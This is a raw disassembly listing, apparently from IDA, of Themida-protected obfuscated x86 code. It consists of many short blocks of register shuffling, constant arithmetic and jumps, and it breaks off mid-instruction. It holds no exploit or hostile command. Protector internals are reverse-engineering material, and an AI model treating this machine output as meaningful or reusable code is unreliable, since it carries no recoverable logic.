Themida_:00563DDDj add ecx, ebx pop ebx shr ecx, 6 inc ecx push eax push esi push ebp mov ebp, 73175532h add ebp, 8D6D4B4Ah mov esi, ebp jmp loc_5534B6 ; --------------------------------------------------------------------------- loc_5634A6: ; CODE XREF: Themida_:005541ECj sub ecx, esi pop esi jmp loc_560065 ; --------------------------------------------------------------------------- loc_5634AE: ; CODE XREF: Themida_:00552F13j pop ebp push 4F78h mov [esp], eax mov eax, 19025CB0h jmp loc_55221B ; --------------------------------------------------------------------------- loc_5634C1: ; CODE XREF: Themida_:0055F2A4j pop eax xor eax, ecx pop ecx jmp loc_558B3B ; --------------------------------------------------------------------------- loc_5634CA: ; CODE XREF: Themida_:loc_55F5BEj push 401Eh mov [esp], edi push esp jmp loc_554571 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_55F9FC ; --------------------------------------------------------------------------- loc_5634E0: ; CODE XREF: Themida_:005618AAj sub edx, 44A630CBh jmp loc_560339 ; --------------------------------------------------------------------------- loc_5634EB: ; CODE XREF: Themida_:0055356Cj add eax, 150A1E4Fh jmp loc_55776C ; --------------------------------------------------------------------------- loc_5634F5: ; CODE XREF: Themida_:0055E960j mov ebp, 384F2323h inc ebp add ebp, 4A2078CCh push eax mov eax, 15D85F5Bh jmp loc_5638A3 ; --------------------------------------------------------------------------- loc_56350C: ; CODE XREF: Themida_:00565A92j mov cl, 2Eh jmp loc_55C0FA ; --------------------------------------------------------------------------- loc_563513: ; CODE XREF: Themida_:0055669Aj sub [esp], dl add byte ptr [esp], 8Bh jmp loc_5571D2 ; --------------------------------------------------------------------------- loc_56351F: ; CODE XREF: Themida_:00560334j neg ebp sub ebp, 3DD72A68h shr ebp, 8 shl ebp, 3 inc ebp xor ebp, 4A1DCB5h mov eax, ebp pop ebp add esi, eax mov eax, [esp] add esp, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] sub eax, 1BF4109Ch pop edx push esi push esp pop esi push edx mov edx, 64A53112h not edx dec edx add edx, 64A53118h add esi, edx pop edx sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx mov ecx, 6EB07437h jmp loc_560EE7 ; --------------------------------------------------------------------------- loc_56357A: ; CODE XREF: Themida_:0055444Bj add eax, ebp jmp loc_558CC6 ; --------------------------------------------------------------------------- loc_563581: ; CODE XREF: Themida_:00553706j sub edi, 4 jmp loc_557D01 ; --------------------------------------------------------------------------- loc_56358C: ; CODE XREF: Themida_:0055F8E3j xchg esi, [esp] pop esp and [edi+1Ch], edx jmp loc_56193E ; --------------------------------------------------------------------------- loc_563598: ; CODE XREF: Themida_:0055AAA4j mov ebx, 15A61FCBh not ebx add ebx, 1EE37AD0h sub ebx, 1 jmp loc_557D7E ; --------------------------------------------------------------------------- loc_5635AD: ; CODE XREF: Themida_:00554CD0j push eax mov al, 50h shl al, 4 or al, 6Eh xor al, 85h sub al, 95h xor al, 0C1h xor cl, al pop eax sub bl, cl jmp loc_55CAEB ; --------------------------------------------------------------------------- loc_5635C5: ; CODE XREF: Themida_:00552CA3j mov edx, eax mov ebx, edx pop edx mov eax, [esp] add esp, 4 add ebx, 20A96C4Ch push ebp mov ebp, 41BE560Eh neg ebp shr ebp, 2 sub ebp, 1 and ebp, 19711D65h jmp loc_55DB6F ; --------------------------------------------------------------------------- loc_5635F2: ; CODE XREF: Themida_:005564D3j mov edx, [esp] add esp, 4 jmp loc_555BEB ; --------------------------------------------------------------------------- loc_5635FD: ; CODE XREF: Themida_:0055B286j push ebx mov ebx, 0F0E03317h add ebp, 21C92F8Fh jmp loc_55D056 ; --------------------------------------------------------------------------- loc_56360E: ; CODE XREF: Themida_:0055A124j sub ecx, edi pop edi add ecx, ebx push ebx mov ebx, 6C96D67h add ecx, ebx pop ebx pop ebx push ebx mov ebx, esp jmp loc_552B36 ; --------------------------------------------------------------------------- loc_563625: ; CODE XREF: Themida_:0055172Dj xchg eax, [esp] pop esp and ebx, esi mov esi, [esp] add esp, 4 push ecx jmp loc_55F2F8 ; --------------------------------------------------------------------------- loc_563637: ; CODE XREF: Themida_:00563B6Fj mov bl, 0EAh push dx jmp loc_562CFD ; --------------------------------------------------------------------------- loc_563640: ; CODE XREF: Themida_:005539DFj pop ebp xchg edx, [esp] pop esp mov [esp], edi push esp pop edi add edi, 4 push eax sub esp, 4 mov [esp], edi jmp loc_55DE58 ; --------------------------------------------------------------------------- loc_56365F: ; CODE XREF: Themida_:00565AFEj neg dh jmp loc_55A5A8 ; --------------------------------------------------------------------------- loc_563666: ; CODE XREF: Themida_:005529EBj mov [esp], ecx push 4 mov ecx, [esp] add esp, 4 add esi, 233D7FF2h add esi, ecx jmp loc_5615BF ; --------------------------------------------------------------------------- loc_563684: ; CODE XREF: Themida_:0055E8B2j pop eax sub ebp, 1B33A08h push edx mov edx, 436C2B54h inc edx jmp loc_565586 ; --------------------------------------------------------------------------- loc_563697: ; CODE XREF: Themida_:00551F11j mov [esp], bx push esi push esp pop esi jmp loc_560080 ; --------------------------------------------------------------------------- loc_5636A3: ; CODE XREF: Themida_:005565ECj xor [esp], esi xor esi, [esp] jmp loc_56540C ; --------------------------------------------------------------------------- loc_5636AE: ; CODE XREF: Themida_:005577C3j mov ebx, 6A005C47h add ebx, 6BAE6E3Bh inc ebx jmp loc_559160 ; --------------------------------------------------------------------------- loc_5636BF: ; CODE XREF: Themida_:00557ECEj push dword ptr [esp] pop ebp add esp, 4 sub esp, 4 jmp loc_5652C9 ; --------------------------------------------------------------------------- loc_5636D4: ; CODE XREF: Themida_:0055BB63j push ecx push edx jmp loc_559D67 ; --------------------------------------------------------------------------- loc_5636DB: ; CODE XREF: Themida_:00562AA2j jmp loc_550420 ; --------------------------------------------------------------------------- loc_5636E0: ; CODE XREF: Themida_:005586E3j mov [esp], ebp jmp loc_554E7F ; --------------------------------------------------------------------------- loc_5636E8: ; CODE XREF: Themida_:0055062Cj push edx jmp loc_55D1E7 ; --------------------------------------------------------------------------- loc_5636EE: ; CODE XREF: Themida_:0055BDB7j sub eax, edi pop edi add eax, 6AF94FC1h sub eax, 34C13910h sub eax, ebp add eax, 34C13910h push ecx jmp loc_557877 ; --------------------------------------------------------------------------- loc_563708: ; CODE XREF: Themida_:00560F9Ej sub ecx, 626A1806h sub ecx, 2E822F44h sub edx, ecx pop ecx add edx, esi jmp loc_557FD8 ; --------------------------------------------------------------------------- loc_56371E: ; CODE XREF: Themida_:005518F7j add esp, 4 add eax, ecx pop ecx push edi mov edi, 6D0970E1h sub eax, edi mov edi, [esp] add esp, 4 sub eax, ebx push edx push ebx mov ebx, 0C6B2E09h inc ebx push ecx mov ecx, 209D2780h sub ecx, 37694D7Eh sub ecx, 7FBE55C5h or ecx, 484C4439h jmp loc_565245 ; --------------------------------------------------------------------------- loc_56375F: ; CODE XREF: Themida_:00564811j mov [esp], ebx mov ebx, 3CDF40CDh or edx, ebx pop ebx add edx, 0C100BD07h add edi, edx pop edx push ebx mov ebx, 0DD26603h neg ebx or ebx, 4C2D7F2Ch shr ebx, 5 xor ebx, 7F16FFBh jmp loc_56092F ; --------------------------------------------------------------------------- loc_56378F: ; CODE XREF: Themida_:00564575j push ecx push eax mov eax, 336F6069h dec eax jmp loc_551838 ; --------------------------------------------------------------------------- loc_56379C: ; CODE XREF: Themida_:00563D60j mov esi, 699544D1h jmp loc_550A08 ; --------------------------------------------------------------------------- loc_5637A6: ; CODE XREF: Themida_:0055193Bj mov esp, [esp] push edx mov edx, 4 add ecx, edx pop edx jmp loc_551842 ; --------------------------------------------------------------------------- loc_5637B7: ; CODE XREF: Themida_:00550C7Bj add eax, 562B2A64h push ebx mov ebx, 0D082291h add eax, 56B56A8Ch sub eax, ebx sub eax, 56B56A8Ch mov ebx, [esp] add esp, 4 sub eax, edx sub esp, 4 mov [esp], ebp mov ebp, 4344275Fh push eax jmp loc_552049 ; --------------------------------------------------------------------------- loc_5637EA: ; CODE XREF: Themida_:00565A4Bj add esp, 4 push ecx mov ecx, 4 add ebp, ecx jmp loc_5569FE ; --------------------------------------------------------------------------- loc_5637FA: ; CODE XREF: Themida_:0055DFA2j push 2712h push esp pop dword ptr [esp] jmp loc_555C1F ; --------------------------------------------------------------------------- loc_563808: ; CODE XREF: Themida_:005658BCj xor esi, 68134C50h jmp loc_55477D ; --------------------------------------------------------------------------- loc_563813: ; CODE XREF: Themida_:0055FEECj and ecx, 66622246h jmp loc_55A799 ; --------------------------------------------------------------------------- loc_56381E: ; CODE XREF: Themida_:0055EC23j xchg edi, [esp] pop esp mov [esp], edi mov edi, 6CC5477Fh sub edi, 71974909h jmp loc_562B9D ; --------------------------------------------------------------------------- loc_563835: ; CODE XREF: Themida_:0055A4EEj mov [esp], eax xchg edi, [esp] xor edi, ecx xor ecx, edi xor edi, ecx not ecx xor edi, ecx xor ecx, edi jmp loc_5581A8 ; --------------------------------------------------------------------------- mov cx, [esp] push 47B6h mov [esp], edx jmp loc_551DAC ; --------------------------------------------------------------------------- loc_56385D: ; CODE XREF: Themida_:0055806Ej pop ebp add edx, 1E2EF527h jmp loc_5646F3 ; --------------------------------------------------------------------------- loc_563869: ; CODE XREF: Themida_:0055B174j pop esi dec esi jmp loc_552CB3 ; --------------------------------------------------------------------------- loc_563870: ; CODE XREF: Themida_:00556A1Aj mov [esp], ebp sub esp, 4 mov [esp], eax push ebx jmp loc_554CFD ; --------------------------------------------------------------------------- loc_56387F: ; CODE XREF: Themida_:00563313j and edx, eax pop eax push 4FACh jmp loc_56573E ; --------------------------------------------------------------------------- loc_56388C: ; CODE XREF: Themida_:0055A869j add esp, 4 add edx, edi sub edx, 0DDC1683h pop edi xor edx, [esp] xor [esp], edx jmp loc_5587C4 ; --------------------------------------------------------------------------- loc_5638A3: ; CODE XREF: Themida_:00563507j or ebp, eax mov eax, [esp] add esp, 4 sub ebp, 97FFDFFCh jmp loc_5552C1 ; --------------------------------------------------------------------------- loc_5638B9: ; CODE XREF: Themida_:00558D8Cj pop ebp jmp loc_561B42 ; --------------------------------------------------------------------------- loc_5638BF: ; CODE XREF: Themida_:00558298j push ebx push esi mov esi, 165B5272h mov ebx, esi pop esi or ebx, 49CE2F45h jmp loc_564BE1 ; --------------------------------------------------------------------------- loc_5638D4: ; CODE XREF: Themida_:0055CD8Cj xchg esi, [esp] pop esp mov [esp], ecx mov ecx, esp push 4313h mov [esp], esi jmp loc_55B35D ; --------------------------------------------------------------------------- loc_5638EA: ; CODE XREF: Themida_:0055B19Ej mov ecx, 63976753h xor ecx, 44252903h shr ecx, 8 jmp loc_560165 ; --------------------------------------------------------------------------- loc_5638FD: ; CODE XREF: Themida_:00560AFAj add ebx, 0C28B2EA1h push ecx mov ecx, ebx push edx jmp loc_55E914 ; --------------------------------------------------------------------------- loc_56390C: ; CODE XREF: Themida_:00551663j mov edx, [esp] push esi mov esi, esp add esi, 4 push ecx mov ecx, 4 add esi, ecx mov ecx, [esp] add esp, 4 xchg esi, [esp] pop esp movzx eax, al lea eax, [edi+eax*4] push 0EF8h mov [esp], esi sub esp, 4 jmp loc_565711 ; --------------------------------------------------------------------------- loc_563943: ; CODE XREF: Themida_:0056540Dj ror word ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_56394D: ; CODE XREF: Themida_:00550483j and esi, 35D5546Fh xor esi, 25426B91h push ebp mov ebp, 5A163D3h sub ebp, 47E11A8Eh or ebp, 37E07C70h xor ebp, 47CA320Ch shl ebp, 4 add ebp, 0CCF318C2h xor esi, ebp pop ebp add esi, 0E7F6D29Eh jmp loc_55A185 ; --------------------------------------------------------------------------- loc_563988: ; CODE XREF: Themida_:00555766j mov [esp], ecx jmp loc_558073 ; --------------------------------------------------------------------------- loc_563990: ; CODE XREF: Themida_:0055A087j push dword ptr [esp] pop ebp add esp, 4 push 1678h mov [esp], ebx jmp loc_565AD5 ; --------------------------------------------------------------------------- loc_5639A7: ; CODE XREF: Themida_:00560365j sub ebp, 2817398Ah pop ebx jmp loc_551940 ; --------------------------------------------------------------------------- loc_5639B3: ; CODE XREF: Themida_:005607CAj mov ecx, 65C0092Bh xor ecx, 43857F06h sub ecx, 46C8362Eh xor edx, ecx pop ecx and eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp sub esp, 4 jmp loc_5522F7 ; --------------------------------------------------------------------------- loc_5639E6: ; CODE XREF: Themida_:0056332Aj xor ecx, 71E7ADE9h xor eax, ecx mov ecx, [esp] add esp, 4 push ecx push ebp mov ebp, 63627524h mov ecx, ebp pop ebp push esi mov esi, 58353DB8h and esi, 6243C25h not esi jmp loc_55BE24 ; --------------------------------------------------------------------------- loc_563A11: ; CODE XREF: Themida_:0055A447j or edx, 23607528h sub edx, 7FFFFF79h add eax, 264377C1h add eax, edx sub eax, 264377C1h mov edx, [esp] add esp, 4 push edi mov edi, 4 push edx mov edx, esp add edx, 4 jmp loc_5567E7 ; --------------------------------------------------------------------------- loc_563A46: ; CODE XREF: Themida_:0055E2D9j mov esp, [esp] jmp loc_55DF1C ; --------------------------------------------------------------------------- loc_563A4E: ; CODE XREF: Themida_:0055567Dj mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push eax mov al, 0A9h sub al, 31h mov bl, al pop eax sub bl, 1 push edx mov dl, 73h xor dl, 0FBh jmp loc_561E9F ; --------------------------------------------------------------------------- lodsd sub eax, 4DC53A61h jmp loc_55E7EC ; --------------------------------------------------------------------------- loc_563A81: ; CODE XREF: Themida_:00561274j mov [esp], ebx push ecx mov ecx, 38D33AB1h shr ecx, 5 neg ecx push edi mov edi, 12DF0D3Eh shr edi, 6 jmp loc_55FD8A ; --------------------------------------------------------------------------- loc_563A9D: ; CODE XREF: Themida_:0056455Fj mov [esp], edi mov edi, 2CC51D0Dh inc edi push eax jmp loc_560149 ; --------------------------------------------------------------------------- loc_563AAC: ; CODE XREF: Themida_:00551CA2j add edi, 4 jmp loc_561C7B ; --------------------------------------------------------------------------- loc_563AB7: ; CODE XREF: Themida_:0055E9E0j sub eax, ecx jmp loc_5560F8 ; --------------------------------------------------------------------------- loc_563ABE: ; CODE XREF: Themida_:005624CDj mov cx, 4A8Ah push edx mov dx, 2FFAh jmp loc_55FF27 ; --------------------------------------------------------------------------- loc_563ACC: ; CODE XREF: Themida_:00564F26j push dword ptr [esp] pop eax add esp, 4 jmp loc_55BC5B ; --------------------------------------------------------------------------- loc_563ADB: ; CODE XREF: Themida_:0055E9A1j add edi, 690C4871h push edi sub dword ptr [esp], 0FFFFFFFFh mov edi, [esp] add esp, 4 push ecx mov ecx, 60A0226Bh xor ecx, 6E3B3320h and ecx, 19110687h xor ecx, 0AC092290h jmp loc_55A29F ; --------------------------------------------------------------------------- loc_563B0C: ; CODE XREF: Themida_:00563171j mov bx, [esp] push edi mov edi, esp add edi, 4 push esi mov esi, 2 jmp loc_55A101 ; --------------------------------------------------------------------------- loc_563B24: ; CODE XREF: Themida_:0055E8A8j push ecx mov ecx, 71D86B79h jmp loc_564AFE ; --------------------------------------------------------------------------- loc_563B2F: ; CODE XREF: Themida_:005526EDj mov ebp, 24FD400Dh add eax, 7F8D4AD6h jmp loc_5569AC ; --------------------------------------------------------------------------- loc_563B3E: ; CODE XREF: Themida_:00563B7Ej add esp, 4 push ecx sub esp, 4 mov [esp], eax mov eax, 2 mov ecx, eax jmp loc_565092 ; --------------------------------------------------------------------------- loc_563B5A: ; CODE XREF: Themida_:0055153Fj xor edi, [esp] mov esp, [esp] rol byte ptr [esp], cl pushf jmp loc_556832 ; --------------------------------------------------------------------------- loc_563B69: ; CODE XREF: Themida_:00551647j mov [esp], ecx mov ch, 0Fh push ebx jmp loc_563637 ; --------------------------------------------------------------------------- loc_563B74: ; CODE XREF: Themida_:0055145Aj add eax, ebx sub eax, 1397464Ah mov ebx, [esp] jmp loc_563B3E ; --------------------------------------------------------------------------- loc_563B83: ; CODE XREF: Themida_:005510F7j xchg eax, [esp] pop esp pop edx sub eax, 5E051CF5h add eax, ebx add eax, 5E051CF5h pop ebx push edx mov edx, 2 jmp loc_5594F8 ; --------------------------------------------------------------------------- loc_563BA0: ; CODE XREF: Themida_:00556CEAj mov ebx, [esp] jmp loc_556554 ; --------------------------------------------------------------------------- loc_563BA8: ; CODE XREF: Themida_:00557A22j add esp, 4 add ebx, 4 xchg ebx, [esp] pop esp or edx, eax shl edx, 1 push ebp mov ebp, 1 push eax mov eax, 24h add eax, edi push ebx mov ebx, 0 add ebx, eax add [ebx], ebp pop ebx mov eax, [esp] push esi sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop esi push edx push 4 jmp loc_5578CD ; --------------------------------------------------------------------------- loc_563BF3: ; CODE XREF: Themida_:00552D3Dj mov edx, 2ED0049Dh jmp loc_553A2B ; --------------------------------------------------------------------------- loc_563BFD: ; CODE XREF: Themida_:0055DB9Aj add dh, 8 and cl, dh pop edx add cl, 9Dh sub al, cl pop ecx sub al, 39h jmp loc_559435 ; --------------------------------------------------------------------------- loc_563C10: ; CODE XREF: Themida_:00555F3Cj sub bl, al push 2A2Fh jmp loc_554CE0 ; --------------------------------------------------------------------------- loc_563C1C: ; CODE XREF: Themida_:00560C69j add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_559C10 ; --------------------------------------------------------------------------- loc_563C2E: ; CODE XREF: Themida_:0055DE75j jmp loc_550420 ; --------------------------------------------------------------------------- loc_563C33: ; CODE XREF: Themida_:00551DA7j mov edx, 129221C3h push edx not dword ptr [esp] jmp loc_55E7E6 ; --------------------------------------------------------------------------- loc_563C41: ; CODE XREF: Themida_:005648C8j mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 jmp loc_556BC4 ; --------------------------------------------------------------------------- loc_563C56: ; CODE XREF: Themida_:00564AC0j xor ebx, [esp] mov esp, [esp] sar word ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_563C66: ; CODE XREF: Themida_:00564909j mov esi, 289F1FCBh jmp loc_554759 ; --------------------------------------------------------------------------- loc_563C70: ; CODE XREF: Themida_:00560802j push 43D4h mov [esp], edx mov edx, 4 sub esp, 4 jmp loc_5584EE ; --------------------------------------------------------------------------- loc_563C85: ; CODE XREF: Themida_:0055CB04j mov [esp], ebx jmp loc_55DFCF ; --------------------------------------------------------------------------- loc_563C8D: ; CODE XREF: Themida_:00555C57j add eax, 2 jmp loc_559E6B ; --------------------------------------------------------------------------- loc_563C95: ; CODE XREF: Themida_:00557113j push 219Ah mov [esp], esi jmp loc_561245 ; --------------------------------------------------------------------------- loc_563CA2: ; CODE XREF: Themida_:00556395j pop ecx jmp loc_56409E ; --------------------------------------------------------------------------- loc_563CA8: ; CODE XREF: Themida_:0055F3ACj mov [esp], ebx jmp loc_55EFB0 ; --------------------------------------------------------------------------- loc_563CB0: ; CODE XREF: Themida_:005545A7j mov eax, 71570AD1h add eax, 0BCB5155h push esi mov esi, 6A0060C9h shl esi, 3 jmp loc_55C127 ; --------------------------------------------------------------------------- loc_563CC8: ; CODE XREF: Themida_:00564199j dec edi push eax mov eax, 588458B9h add edi, eax pop eax push ecx push 1ED82B4Dh mov ecx, [esp] add esp, 4 sub edi, ecx mov ecx, [esp] jmp loc_55493F ; --------------------------------------------------------------------------- loc_563CEB: ; CODE XREF: Themida_:0056313Fj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add esp, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push dword ptr [esp] mov eax, [esp] add esp, 4 push edi jmp loc_55C55B ; --------------------------------------------------------------------------- loc_563D25: ; CODE XREF: Themida_:00565675j push eax jmp loc_5512DD ; --------------------------------------------------------------------------- loc_563D2B: ; CODE XREF: Themida_:0055D263j pop eax xor esi, 64800350h or [edi+1Ch], esi push dword ptr [esp] pop esi jmp loc_552DD6 ; --------------------------------------------------------------------------- loc_563D3E: ; CODE XREF: Themida_:0056292Bj add ebx, 4 jmp loc_55E5A6 ; --------------------------------------------------------------------------- loc_563D49: ; CODE XREF: Themida_:005506EEj push esi push edx pop esi jmp loc_565613 ; --------------------------------------------------------------------------- loc_563D51: ; CODE XREF: Themida_:00557544j mov esp, [esp] mov [esp], eax mov eax, 7ED648C5h shr eax, 8 push esi jmp loc_56379C ; --------------------------------------------------------------------------- loc_563D65: ; CODE XREF: Themida_:005606A2j pop esi push ebx push edi mov edi, 291763D2h inc edi sub edi, 6CD42180h sub edi, 3EC5BFDh xor edi, 56F00F02h sub edi, 0E6797624h mov ebx, edi pop edi xor eax, ebx pop ebx add esi, eax push dword ptr [esp] pop eax push ecx mov ecx, esp jmp loc_55283C ; --------------------------------------------------------------------------- loc_563D9A: ; CODE XREF: Themida_:00561F84j mov dl, 0BDh sub esp, 2 jmp loc_55D250 ; --------------------------------------------------------------------------- loc_563DA4: ; CODE XREF: Themida_:0055EF76j push 290Bh mov [esp], esi not dword ptr [esp] pop esi neg esi shl esi, 3 jmp loc_562EA4 ; --------------------------------------------------------------------------- loc_563DBA: ; CODE XREF: Themida_:005572DBj push dword ptr [esp] mov eax, [esp] add esp, 4 push esi push 25DDh jmp near ptr word_555BFE ; --------------------------------------------------------------------------- loc_563DCE: ; CODE XREF: Themida_:00551D79j pop esi and esi, ecx push dword ptr [esp] pop ecx jmp loc_555E02 ; --------------------------------------------------------------------------- loc_563DDA: ; CODE XREF: Themida_:005627C9j sub ebx, ebp pop ebp jmp loc_56348A ; --------------------------------------------------------------------------- loc_563DE2: ; CODE XREF: Themida_:0055E008j mov esp, [esp] jmp loc_564E1B ; --------------------------------------------------------------------------- loc_563DEA: ; CODE XREF: Themida_:00557C4Fj mov edi, [esp] add esp, 4 and ebx, 3C446135h push ecx mov ecx, 2F940AE8h sub ecx, 2157061Ah dec ecx xor ecx, 0D3549BD0h xor ebx, ecx pop ecx sub edx, ebx jmp loc_550F15 ; --------------------------------------------------------------------------- loc_563E16: ; CODE XREF: Themida_:00557C3Dj pop ecx pop esi and eax, ebx mov ebx, [esp] jmp loc_552978 ; --------------------------------------------------------------------------- loc_563E22: ; CODE XREF: Themida_:00557869j add esp, 4 retn ; --------------------------------------------------------------------------- jmp loc_550420 ; --------------------------------------------------------------------------- loc_563E2E: ; CODE XREF: Themida_:00556AF9j push dword ptr [esp] pop edi add esp, 4 push 7FABh mov [esp], edx jmp loc_55E3D2 ; --------------------------------------------------------------------------- loc_563E45: ; CODE XREF: Themida_:0055D01Dj push dword ptr [esp+4] jmp loc_565518 ; --------------------------------------------------------------------------- loc_563E4E: ; CODE XREF: Themida_:0055A0F4j sub esp, 4 mov [esp], edx mov edx, 24C51792h push ebp mov ebp, 7A17F9h shr ebp, 2 shr ebp, 1 jmp loc_55B06C ; --------------------------------------------------------------------------- loc_563E6C: ; CODE XREF: Themida_:00558C24j add eax, 0E93C78h add eax, ebp push edx jmp loc_55044B ; --------------------------------------------------------------------------- loc_563E79: ; CODE XREF: Themida_:00551293j push esi mov esi, 7189172Fh sub eax, esi jmp loc_555BAE ; --------------------------------------------------------------------------- loc_563E86: ; CODE XREF: Themida_:0055EB8Aj mov bx, [esp] jmp loc_55994B ; --------------------------------------------------------------------------- loc_563E8F: ; CODE XREF: Themida_:00552CF6j mov ebp, 61EF7228h add ebp, 0D058E70Bh sub edx, ebp pop ebp sub edx, 0CFB8A54Eh jmp loc_557A57 ; --------------------------------------------------------------------------- loc_563EA8: ; CODE XREF: Themida_:0055DE3Bj sub eax, ebx pop ebx jmp loc_556893 ; --------------------------------------------------------------------------- loc_563EB0: ; CODE XREF: Themida_:0055F7A5j pop edx and edx, 15932A1Ch push eax mov eax, 7C903D89h sub edx, eax mov eax, [esp] add esp, 4 dec edx add edx, 6C7D3572h add edi, edx jmp loc_55D1CF ; --------------------------------------------------------------------------- loc_563ED6: ; CODE XREF: Themida_:00561FBCj pop ecx add ebx, 378F7E29h jmp loc_55BCC4 ; --------------------------------------------------------------------------- loc_563EE2: ; CODE XREF: Themida_:005558CFj add esi, edx pop edx add eax, 19210E1h jmp loc_55B142 ; --------------------------------------------------------------------------- loc_563EEF: ; CODE XREF: Themida_:00565471j add eax, 631536ECh jmp loc_55959E ; --------------------------------------------------------------------------- loc_563EF9: ; CODE XREF: Themida_:00558DA9j pop edx shr eax, 2 not eax xor eax, 92B2853Ch add edx, eax pop eax jmp loc_556773 ; --------------------------------------------------------------------------- loc_563F0C: ; CODE XREF: Themida_:00563214j pop ebp push ebx mov ebx, 4 sub edi, ebx pop ebx xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], edi push ebp mov ebp, 6CF059D9h push ebp pop edi jmp loc_5560CA ; --------------------------------------------------------------------------- loc_563F30: ; CODE XREF: Themida_:0055417Aj shl eax, 1 xor eax, 0E87D80D7h add edx, eax mov eax, [esp] jmp loc_557289 ; --------------------------------------------------------------------------- loc_563F41: ; CODE XREF: Themida_:0055972Fj push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebx pop eax push eax push esp pop eax add eax, 4 push 70A2h mov [esp], esi jmp loc_55F065 ; --------------------------------------------------------------------------- loc_563F6A: ; CODE XREF: Themida_:00560FE6j sub esp, 4 mov [esp], edi mov edi, 3843F3Bh and edi, 73AB3094h xor edi, 9F1405Dh add eax, edi pop edi pop edx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_561155 ; --------------------------------------------------------------------------- loc_563F9E: ; CODE XREF: Themida_:00552973j sub ebx, 0AC648ED2h add eax, ebx mov ebx, [esp] jmp loc_55DDD5 ; --------------------------------------------------------------------------- loc_563FAE: ; CODE XREF: Themida_:0055EAABj mov esi, ebp mov ebp, [esp] add esp, 4 sub esi, 5E113244h jmp loc_5654AB ; --------------------------------------------------------------------------- loc_563FC1: ; CODE XREF: Themida_:0055CBABj add esp, 4 jmp loc_551B9D ; --------------------------------------------------------------------------- loc_563FCC: ; CODE XREF: Themida_:0055CD13j mov ecx, 7D77F08Ah add eax, 66DF7AD7h push ecx jmp loc_556615 ; --------------------------------------------------------------------------- loc_563FDC: ; CODE XREF: Themida_:00559C65j push esi jmp loc_554D26 ; --------------------------------------------------------------------------- loc_563FE2: ; CODE XREF: Themida_:00554114j sub esi, 0E681E8Dh shl esi, 7 sub esi, 0B95A856Eh add eax, 45D23EF3h add eax, esi jmp loc_553FF7 ; --------------------------------------------------------------------------- loc_563FFD: ; CODE XREF: Themida_:00562F6Cj pop ebx add eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], ebx push ebp mov ebp, 58B92FC6h push 0B39A9945h pop ebx sub ebx, ebp pop ebp sub esp, 4 mov [esp], edi jmp loc_554155 ; --------------------------------------------------------------------------- loc_564032: ; CODE XREF: Themida_:0056189Aj push edx push esp pop edx push ebp mov ebp, 4 add edx, 56943DA8h sub edx, 19681007h add edx, ebp add edx, 19681007h sub edx, 56943DA8h pop ebp sub edx, 4 xor edx, [esp] xor [esp], edx jmp loc_55E0D1 ; --------------------------------------------------------------------------- loc_564064: ; CODE XREF: Themida_:0055C062j add edi, 647A53E3h jmp loc_561EFE ; --------------------------------------------------------------------------- loc_56406F: ; CODE XREF: Themida_:0055D94Fj mov esp, [esp] push ecx push ebx mov bl, dl jmp loc_556F92 ; --------------------------------------------------------------------------- loc_56407B: ; CODE XREF: Themida_:0055A36Ej mov ebp, 947BC396h sub ecx, ebp jmp loc_557B60 ; --------------------------------------------------------------------------- loc_564087: ; CODE XREF: Themida_:0055F70Bj neg edx xor edx, 3CB50CCh dec edx xor edx, 8BFDC2CAh sub eax, edx pop edx jmp loc_5578B6 ; --------------------------------------------------------------------------- loc_56409E: ; CODE XREF: Themida_:00563CA3j push ebx mov ebx, 4 add eax, ebx pop ebx xchg eax, [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] push ebp mov ebp, esp push edx mov edx, 4 add ebp, edx jmp loc_555726 ; --------------------------------------------------------------------------- loc_5640C3: ; CODE XREF: Themida_:00553FF2j add edi, 0EB9B0EE8h mov ebx, edi push dword ptr [esp] pop edi add esp, 4 sub eax, ebx jmp loc_560807 ; --------------------------------------------------------------------------- loc_5640D9: ; CODE XREF: Themida_:005512D8j sub edi, edx mov edx, [esp] jmp loc_55742D ; --------------------------------------------------------------------------- loc_5640E3: ; CODE XREF: Themida_:0055847Cj sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], eax push esi mov esi, 5AB3589Bh xor esi, 2C9B4B1Ch jmp loc_563015 ; --------------------------------------------------------------------------- loc_564100: ; CODE XREF: Themida_:0055DA3Dj pop ebx or ebp, 29BF0A40h jmp loc_5591EE ; --------------------------------------------------------------------------- loc_56410C: ; CODE XREF: Themida_:005505D6j add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], ebp mov ebp, 1D800B2Dh add ebp, 38330185h inc ebp jmp loc_560E39 ; --------------------------------------------------------------------------- loc_56412D: ; CODE XREF: Themida_:0055BFDCj pop esi push 7273h mov [esp], ebp push edi mov edi, 624B19D7h xor edi, 36F63694h sub edi, 329DBF34h mov ebp, edi jmp loc_550E5A ; --------------------------------------------------------------------------- loc_56414F: ; CODE XREF: Themida_:00564CD1j mov edx, [esp] push edi mov edi, esp add edi, 4 push ebp mov ebp, 4 add edi, ebp pop ebp xchg edi, [esp] mov esp, [esp] and eax, ecx mov ecx, [esp] add esp, 4 or eax, eax jmp loc_561A1E ; --------------------------------------------------------------------------- loc_56417C: ; CODE XREF: Themida_:00551A0Cj mov ebx, [esp] add esp, 4 jmp loc_551A69 ; --------------------------------------------------------------------------- loc_564187: ; CODE XREF: Themida_:0055ECECj pop dword ptr [esp] pop esp add dword ptr [esp+4], 72712E10h jmp 